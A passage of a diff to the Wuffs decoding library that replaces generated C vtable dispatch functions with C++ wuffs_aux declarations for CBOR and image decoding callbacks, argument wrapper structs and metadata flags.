WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++class DecodeCborCallbacks { ++ public: ++ virtual ~DecodeCborCallbacks(); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->tell_me_more)(self, a_dst, a_minfo, a_src); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // AppendXxx are called for leaf nodes: literals, numbers, strings, etc. + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ virtual std::string AppendNull() = 0; ++ virtual std::string AppendUndefined() = 0; ++ virtual std::string AppendBool(bool val) = 0; ++ virtual std::string AppendF64(double val) = 0; ++ virtual std::string AppendI64(int64_t val) = 0; ++ virtual std::string AppendU64(uint64_t val) = 0; ++ virtual std::string AppendByteString(std::string&& val) = 0; ++ virtual std::string AppendTextString(std::string&& val) = 0; ++ virtual std::string AppendMinus1MinusX(uint64_t val) = 0; ++ virtual std::string AppendCborSimpleValue(uint8_t val) = 0; ++ virtual std::string AppendCborTag(uint64_t val) = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_base__image_decoder__workbuf_len( +- const wuffs_base__image_decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } ++ // Push and Pop are called for container nodes: CBOR arrays (lists) and CBOR ++ // maps (dictionaries). ++ // ++ // The flags bits combine exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT ++ // and exactly one of: ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST ++ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__image_decoder__vtable_name) { +- const wuffs_base__image_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__image_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->workbuf_len)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ virtual std::string Push(uint32_t flags) = 0; ++ virtual std::string Pop(uint32_t flags) = 0; + +- return wuffs_base__utility__empty_range_ii_u64(); +-} ++ // Done is always the last Callback method called by DecodeCbor, whether or ++ // not parsing the input as CBOR encountered an error. Even when successful, ++ // trailing data may remain in input and buffer. ++ // ++ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, ++ // as DecodeCbor may then de-allocate the backing array. ++ // ++ // The default Done implementation is a no-op. ++ virtual void // ++ Done(DecodeCborResult& result, sync_io::Input& input, IOBuffer& buffer); ++}; + +-// -------- ++// The FooArgBar types add structure to Foo's optional arguments. They wrap ++// inner representations for several reasons: ++// - It provides a home for the DefaultValue static method, for Foo callers ++// that want to override some but not all optional arguments. ++// - It provides the "Bar" name at Foo call sites, which can help self- ++// document Foo calls with many arguemnts. ++// - It provides some type safety against accidentally transposing or omitting ++// adjacent fundamentally-numeric-typed optional arguments. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__io_transformer__get_quirk( +- const wuffs_base__io_transformer* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// DecodeCborArgQuirks wraps an optional argument to DecodeCbor. ++struct DecodeCborArgQuirks { ++ explicit DecodeCborArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // DefaultValue returns an empty slice. ++ static DecodeCborArgQuirks DefaultValue(); + +- return 0; +-} ++ const QuirkKeyValuePair* ptr; ++ const size_t len; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__io_transformer__history_retain_length( +- const wuffs_base__io_transformer* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// DecodeCbor calls callbacks based on the CBOR-formatted data in input. ++// ++// On success, the returned error_message is empty and cursor_position counts ++// the number of bytes consumed. On failure, error_message is non-empty and ++// cursor_position is the location of the error. That error may be a content ++// error (invalid CBOR) or an input error (e.g. network failure). ++DecodeCborResult // ++DecodeCbor(DecodeCborCallbacks& callbacks, ++ sync_io::Input& input, ++ DecodeCborArgQuirks quirks = DecodeCborArgQuirks::DefaultValue()); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->history_retain_length)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++} // namespace wuffs_aux + +- return 0; +-} ++// ---------------- Auxiliary - Image + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__io_transformer__set_quirk( +- wuffs_base__io_transformer* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++namespace wuffs_aux { + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++struct DecodeImageResult { ++ DecodeImageResult(MemOwner&& pixbuf_mem_owner0, ++ wuffs_base__pixel_buffer pixbuf0, ++ std::string&& error_message0); ++ DecodeImageResult(std::string&& error_message0); + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ MemOwner pixbuf_mem_owner; ++ wuffs_base__pixel_buffer pixbuf; ++ std::string error_message; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__io_transformer__transform_io( +- wuffs_base__io_transformer* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++// DecodeImageCallbacks are the callbacks given to DecodeImage. They are always ++// called in this order: ++// 1. SelectDecoder ++// 2. HandleMetadata ++// 3. SelectPixfmt ++// 4. AllocPixbuf ++// 5. AllocWorkbuf ++// 6. Done ++// ++// It may return early - the third callback might not be invoked if the second ++// one fails - but the final callback (Done) is always invoked. ++class DecodeImageCallbacks { ++ public: ++ // AllocPixbufResult holds a memory allocation (the result of malloc or new, ++ // a statically allocated pointer, etc), or an error message. The memory is ++ // de-allocated when mem_owner goes out of scope and is destroyed. ++ struct AllocPixbufResult { ++ AllocPixbufResult(MemOwner&& mem_owner0, wuffs_base__pixel_buffer pixbuf0); ++ AllocPixbufResult(std::string&& error_message0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->transform_io)(self, a_dst, a_src, a_workbuf); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ MemOwner mem_owner; ++ wuffs_base__pixel_buffer pixbuf; ++ std::string error_message; ++ }; + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ // AllocWorkbufResult holds a memory allocation (the result of malloc or new, ++ // a statically allocated pointer, etc), or an error message. The memory is ++ // de-allocated when mem_owner goes out of scope and is destroyed. ++ struct AllocWorkbufResult { ++ AllocWorkbufResult(MemOwner&& mem_owner0, wuffs_base__slice_u8 workbuf0); ++ AllocWorkbufResult(std::string&& error_message0); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_base__io_transformer__workbuf_len( +- const wuffs_base__io_transformer* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } ++ MemOwner mem_owner; ++ wuffs_base__slice_u8 workbuf; ++ std::string error_message; ++ }; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__io_transformer__vtable_name) { +- const wuffs_base__io_transformer__func_ptrs* func_ptrs = +- (const wuffs_base__io_transformer__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->workbuf_len)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ virtual ~DecodeImageCallbacks(); + +- return wuffs_base__utility__empty_range_ii_u64(); +-} ++ // SelectDecoder returns the image decoder for the input data's file format. ++ // Returning a nullptr means failure (DecodeImage_UnsupportedImageFormat). ++ // ++ // Common formats will have a FourCC value in the range [1 ..= 0x7FFF_FFFF], ++ // such as WUFFS_BASE__FOURCC__JPEG. A zero FourCC value means that Wuffs' ++ // standard library did not recognize the image format but if SelectDecoder ++ // was overridden, it may examine the input data's starting bytes and still ++ // provide its own image decoder, e.g. for an exotic image file format that's ++ // not in Wuffs' standard library. The prefix_etc fields have the same ++ // meaning as wuffs_base__magic_number_guess_fourcc arguments. SelectDecoder ++ // implementations should not modify prefix_data's contents. ++ // ++ // SelectDecoder might be called more than once, since some image file ++ // formats can wrap others. For example, a nominal BMP file can actually ++ // contain a JPEG or a PNG. ++ // ++ // The default SelectDecoder accepts the FOURCC codes listed below. For ++ // modular builds (i.e. when #define'ing WUFFS_CONFIG__MODULES), acceptance ++ // of the ETC file format is optional (for each value of ETC) and depends on ++ // the corresponding module to be enabled at compile time (i.e. #define'ing ++ // WUFFS_CONFIG__MODULE__ETC). ++ // - WUFFS_BASE__FOURCC__BMP ++ // - WUFFS_BASE__FOURCC__GIF ++ // - WUFFS_BASE__FOURCC__JPEG ++ // - WUFFS_BASE__FOURCC__NIE ++ // - WUFFS_BASE__FOURCC__NPBM ++ // - WUFFS_BASE__FOURCC__PNG ++ // - WUFFS_BASE__FOURCC__QOI ++ // - WUFFS_BASE__FOURCC__TGA ++ // - WUFFS_BASE__FOURCC__WBMP ++ // - WUFFS_BASE__FOURCC__WEBP ++ virtual wuffs_base__image_decoder::unique_ptr // ++ SelectDecoder(uint32_t fourcc, ++ wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed); + +-// -------- ++ // HandleMetadata acknowledges image metadata. minfo.flavor will be one of: ++ // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_RAW_PASSTHROUGH ++ // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_PARSED ++ // If it is ETC__METADATA_RAW_ETC then raw contains the metadata bytes. Those ++ // bytes should not be retained beyond the the HandleMetadata call. ++ // ++ // minfo.metadata__fourcc() will typically match one of the ++ // DecodeImageArgFlags bits. For example, if (REPORT_METADATA_CHRM | ++ // REPORT_METADATA_GAMA) was passed to DecodeImage then the metadata FourCC ++ // will be either WUFFS_BASE__FOURCC__CHRM or WUFFS_BASE__FOURCC__GAMA. ++ // ++ // It returns an error message, or an empty string on success. ++ virtual std::string // ++ HandleMetadata(const wuffs_base__more_information& minfo, ++ wuffs_base__slice_u8 raw); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__token_decoder__decode_tokens( +- wuffs_base__token_decoder* self, +- wuffs_base__token_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++ // SelectPixfmt returns the destination pixel format for AllocPixbuf. It ++ // should return wuffs_base__make_pixel_format(etc) called with one of: ++ // - WUFFS_BASE__PIXEL_FORMAT__BGR_565 ++ // - WUFFS_BASE__PIXEL_FORMAT__BGR ++ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL ++ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE ++ // - WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL ++ // - WUFFS_BASE__PIXEL_FORMAT__RGB ++ // - WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL ++ // - WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL ++ // or return image_config.pixcfg.pixel_format(). The latter means to use the ++ // image file's natural pixel format. For example, GIF images' natural pixel ++ // format is an indexed one. ++ // ++ // Returning otherwise means failure (DecodeImage_UnsupportedPixelFormat). ++ // ++ // The default SelectPixfmt implementation returns ++ // wuffs_base__make_pixel_format(WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL) which ++ // is 4 bytes per pixel (8 bits per channel × 4 channels). ++ virtual wuffs_base__pixel_format // ++ SelectPixfmt(const wuffs_base__image_config& image_config); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->decode_tokens)(self, a_dst, a_src, a_workbuf); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // AllocPixbuf allocates the pixel buffer. ++ // ++ // allow_uninitialized_memory will be true if a valid background_color was ++ // passed to DecodeImage, since the pixel buffer's contents will be ++ // overwritten with that color after AllocPixbuf returns. ++ // ++ // The default AllocPixbuf implementation allocates either uninitialized or ++ // zeroed memory. Zeroed memory typically corresponds to filling with opaque ++ // black or transparent black, depending on the pixel format. ++ virtual AllocPixbufResult // ++ AllocPixbuf(const wuffs_base__image_config& image_config, ++ bool allow_uninitialized_memory); + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ // AllocWorkbuf allocates the work buffer. The allocated buffer's length ++ // should be at least len_range.min_incl, but larger allocations (up to ++ // len_range.max_incl) may have better performance (by using more memory). ++ // ++ // The default AllocWorkbuf implementation allocates len_range.max_incl bytes ++ // of either uninitialized or zeroed memory. ++ virtual AllocWorkbufResult // ++ AllocWorkbuf(wuffs_base__range_ii_u64 len_range, ++ bool allow_uninitialized_memory); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__token_decoder__get_quirk( +- const wuffs_base__token_decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++ // Done is always the last Callback method called by DecodeImage, whether or ++ // not parsing the input encountered an error. Even when successful, trailing ++ // data may remain in input and buffer. ++ // ++ // The image_decoder is the one returned by SelectDecoder (if SelectDecoder ++ // was successful), or a no-op unique_ptr otherwise. Like any unique_ptr, ++ // ownership moves to the Done implementation. ++ // ++ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, ++ // as DecodeImage may then de-allocate the backing array. ++ // ++ // The default Done implementation is a no-op, other than running the ++ // image_decoder unique_ptr destructor. ++ virtual void // ++ Done(DecodeImageResult& result, ++ sync_io::Input& input, ++ IOBuffer& buffer, ++ wuffs_base__image_decoder::unique_ptr image_decoder); ++}; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->get_quirk)(self, a_key); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++extern const char DecodeImage_BufferIsTooShort[]; ++extern const char DecodeImage_MaxInclDimensionExceeded[]; ++extern const char DecodeImage_MaxInclMetadataLengthExceeded[]; ++extern const char DecodeImage_OutOfMemory[]; ++extern const char DecodeImage_UnexpectedEndOfFile[]; ++extern const char DecodeImage_UnsupportedImageFormat[]; ++extern const char DecodeImage_UnsupportedMetadata[]; ++extern const char DecodeImage_UnsupportedPixelBlend[]; ++extern const char DecodeImage_UnsupportedPixelConfiguration[]; ++extern const char DecodeImage_UnsupportedPixelFormat[]; + +- return 0; +-} ++// The FooArgBar types add structure to Foo's optional arguments. They wrap ++// inner representations for several reasons: ++// - It provides a home for the DefaultValue static method, for Foo callers ++// that want to override some but not all optional arguments. ++// - It provides the "Bar" name at Foo call sites, which can help self- ++// document Foo calls with many arguemnts. ++// - It provides some type safety against accidentally transposing or omitting ++// adjacent fundamentally-numeric-typed optional arguments. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__token_decoder__history_retain_length( +- const wuffs_base__token_decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++// DecodeImageArgQuirks wraps an optional argument to DecodeImage. ++struct DecodeImageArgQuirks { ++ explicit DecodeImageArgQuirks(const QuirkKeyValuePair* ptr0, ++ const size_t len0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->history_retain_length)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // DefaultValue returns an empty slice. ++ static DecodeImageArgQuirks DefaultValue(); + +- return 0; +-} ++ const QuirkKeyValuePair* ptr; ++ const size_t len; ++}; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_base__token_decoder__set_quirk( +- wuffs_base__token_decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++// DecodeImageArgFlags wraps an optional argument to DecodeImage. ++struct DecodeImageArgFlags { ++ explicit DecodeImageArgFlags(uint64_t repr0); + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->set_quirk)(self, a_key, a_value); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ // DefaultValue returns 0. ++ static DecodeImageArgFlags DefaultValue(); + +- return wuffs_base__make_status(wuffs_base__error__bad_vtable); +-} ++ // TODO: support all of the REPORT_METADATA_ETC flags, not just CHRM, EXIF, ++ // GAMA, ICCP, KVP, SRGB and XMP. + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_base__token_decoder__workbuf_len( +- const wuffs_base__token_decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } ++ // Background Color. ++ static constexpr uint64_t REPORT_METADATA_BGCL = 0x0001; ++ // Primary Chromaticities and White Point. ++ static constexpr uint64_t REPORT_METADATA_CHRM = 0x0002; ++ // Exchangeable Image File Format. ++ static constexpr uint64_t REPORT_METADATA_EXIF = 0x0004; ++ // Gamma Correction. ++ static constexpr uint64_t REPORT_METADATA_GAMA = 0x0008; ++ // International Color Consortium Profile. ++ static constexpr uint64_t REPORT_METADATA_ICCP = 0x0010; ++ // Key-Value Pair. ++ // ++ // For PNG files, this includes iTXt, tEXt and zTXt chunks. In the ++ // HandleMetadata callback, the raw argument contains UTF-8 strings. ++ static constexpr uint64_t REPORT_METADATA_KVP = 0x0020; ++ // Modification Time. ++ static constexpr uint64_t REPORT_METADATA_MTIM = 0x0040; ++ // Offset (2-Dimensional). ++ static constexpr uint64_t REPORT_METADATA_OFS2 = 0x0080; ++ // Physical Dimensions. ++ static constexpr uint64_t REPORT_METADATA_PHYD = 0x0100; ++ // Standard Red Green Blue (Rendering Intent). ++ static constexpr uint64_t REPORT_METADATA_SRGB = 0x0200; ++ // Extensible Metadata Platform. ++ static constexpr uint64_t REPORT_METADATA_XMP = 0x0400; + +- const wuffs_base__vtable* v = &self->private_impl.first_vtable; +- int i; +- for (i = 0; i < 63; i++) { +- if (v->vtable_name == wuffs_base__token_decoder__vtable_name) { +- const wuffs_base__token_decoder__func_ptrs* func_ptrs = +- (const wuffs_base__token_decoder__func_ptrs*)(v->function_pointers); +- return (*func_ptrs->workbuf_len)(self); +- } else if (v->vtable_name == NULL) { +- break; +- } +- v++; +- } ++ uint64_t repr; ++}; + +- return wuffs_base__utility__empty_range_ii_u64(); +-} ++// DecodeImageArgPixelBlend wraps an optional argument to DecodeImage. ++struct DecodeImageArgPixelBlend { ++ explicit DecodeImageArgPixelBlend(wuffs_base__pixel_blend repr0); + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__INTERFACES) ++ // DefaultValue returns WUFFS_BASE__PIXEL_BLEND__SRC. ++ static DecodeImageArgPixelBlend DefaultValue(); + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__FLOATCONV) ++ wuffs_base__pixel_blend repr; ++}; + +-// ---------------- IEEE 754 Floating Point ++// DecodeImageArgBackgroundColor wraps an optional argument to DecodeImage. ++struct DecodeImageArgBackgroundColor { ++ explicit DecodeImageArgBackgroundColor( ++ wuffs_base__color_u32_argb_premul repr0); + +-// The etc__hpd_left_shift and etc__powers_of_5 tables were printed by +-// script/print-hpd-left-shift.go. That script has an optional -comments flag, +-// whose output is not copied here, which prints further detail. +-// +-// These tables are used in +-// wuffs_base__private_implementation__high_prec_dec__lshift_num_new_digits. ++ // DefaultValue returns 1, an invalid wuffs_base__color_u32_argb_premul. ++ static DecodeImageArgBackgroundColor DefaultValue(); ++ ++ wuffs_base__color_u32_argb_premul repr; ++}; ++ ++// DecodeImageArgMaxInclDimension wraps an optional argument to DecodeImage. ++struct DecodeImageArgMaxInclDimension { ++ explicit DecodeImageArgMaxInclDimension(uint32_t repr0); ++ ++ // DefaultValue returns 1048575 = 0x000F_FFFF, more than 1 million pixels. ++ static DecodeImageArgMaxInclDimension DefaultValue(); ++ ++ uint32_t repr; ++}; ++ ++// DecodeImageArgMaxInclMetadataLength wraps an optional argument to ++// DecodeImage. ++struct DecodeImageArgMaxInclMetadataLength { ++ explicit DecodeImageArgMaxInclMetadataLength(uint64_t repr0); ++ ++ // DefaultValue returns 16777215 = 0x00FF_FFFF, one less than 16 MiB. ++ static DecodeImageArgMaxInclMetadataLength DefaultValue(); ++ ++ uint64_t repr; ++}; + +-// wuffs_base__private_implementation__hpd_left_shift[i] encodes the number of +-// new digits created after multiplying a positive integer by (1 << i): the +-// additional length in the decimal representation. For example, shifting "234" +-// by 3 (equivalent to multiplying by 8) will produce "1872". Going from a +-// 3-length string to a 4-length string means that 1 new digit was added (and +-// existing digits may have changed). ++// DecodeImage decodes the image data in input. A variety of image file formats ++// can be decoded, depending on what callbacks.SelectDecoder returns. + // +-// Shifting by i can add either N or N-1 new digits, depending on whether the +-// original positive integer compares >= or < to the i'th power of 5 (as 10 +-// equals 2 * 5). Comparison is lexicographic, not numerical. ++// For animated formats, only the first frame is returned, since the API is ++// simpler for synchronous I/O and having DecodeImage only return when ++// completely done, but rendering animation often involves handling other ++// events in between animation frames. To decode multiple frames of animated ++// images, or for asynchronous I/O (e.g. when decoding an image streamed over ++// the network), use Wuffs' lower level C API instead of its higher level, ++// simplified C++ API (the wuffs_aux API). + // +-// For example, shifting by 4 (i.e. multiplying by 16) can add 1 or 2 new +-// digits, depending on a lexicographic comparison to (5 ** 4), i.e. "625": +-// - ("1" << 4) is "16", which adds 1 new digit. +-// - ("5678" << 4) is "90848", which adds 1 new digit. +-// - ("624" << 4) is "9984", which adds 1 new digit. +-// - ("62498" << 4) is "999968", which adds 1 new digit. +-// - ("625" << 4) is "10000", which adds 2 new digits. +-// - ("625001" << 4) is "10000016", which adds 2 new digits. +-// - ("7008" << 4) is "112128", which adds 2 new digits. +-// - ("99" << 4) is "1584", which adds 2 new digits. ++// The DecodeImageResult's fields depend on whether decoding succeeded: ++// - On total success, the error_message is empty and pixbuf.pixcfg.is_valid() ++// is true. ++// - On partial success (e.g. the input file was truncated but we are still ++// able to decode some of the pixels), error_message is non-empty but ++// pixbuf.pixcfg.is_valid() is still true. It is up to the caller whether to ++// accept or reject partial success. ++// - On failure, the error_message is non_empty and pixbuf.pixcfg.is_valid() ++// is false. + // +-// Thus, when i is 4, N is 2 and (5 ** i) is "625". This etc__hpd_left_shift +-// array encodes this as: +-// - etc__hpd_left_shift[4] is 0x1006 = (2 << 11) | 0x0006. +-// - etc__hpd_left_shift[5] is 0x1009 = (? << 11) | 0x0009. +-// where the ? isn't relevant for i == 4. ++// The callbacks allocate the pixel buffer memory and work buffer memory. On ++// success, pixel buffer memory ownership is passed to the DecodeImage caller ++// as the returned pixbuf_mem_owner. Regardless of success or failure, the work ++// buffer memory is deleted. + // +-// The high 5 bits of etc__hpd_left_shift[i] is N, the higher of the two +-// possible number of new digits. The low 11 bits are an offset into the +-// etc__powers_of_5 array (of length 0x051C, so offsets fit in 11 bits). When i +-// is 4, its offset and the next one is 6 and 9, and etc__powers_of_5[6 .. 9] +-// is the string "\x06\x02\x05", so the relevant power of 5 is "625". ++// The pixel_blend (one of the constants listed below) determines how to ++// composite the decoded image over the pixel buffer's original pixels (as ++// returned by callbacks.AllocPixbuf): ++// - WUFFS_BASE__PIXEL_BLEND__SRC ++// - WUFFS_BASE__PIXEL_BLEND__SRC_OVER + // +-// Thanks to Ken Thompson for the original idea. +-static const uint16_t wuffs_base__private_implementation__hpd_left_shift[65] = { +- 0x0000, 0x0800, 0x0801, 0x0803, 0x1006, 0x1009, 0x100D, 0x1812, 0x1817, +- 0x181D, 0x2024, 0x202B, 0x2033, 0x203C, 0x2846, 0x2850, 0x285B, 0x3067, +- 0x3073, 0x3080, 0x388E, 0x389C, 0x38AB, 0x38BB, 0x40CC, 0x40DD, 0x40EF, +- 0x4902, 0x4915, 0x4929, 0x513E, 0x5153, 0x5169, 0x5180, 0x5998, 0x59B0, +- 0x59C9, 0x61E3, 0x61FD, 0x6218, 0x6A34, 0x6A50, 0x6A6D, 0x6A8B, 0x72AA, +- 0x72C9, 0x72E9, 0x7B0A, 0x7B2B, 0x7B4D, 0x8370, 0x8393, 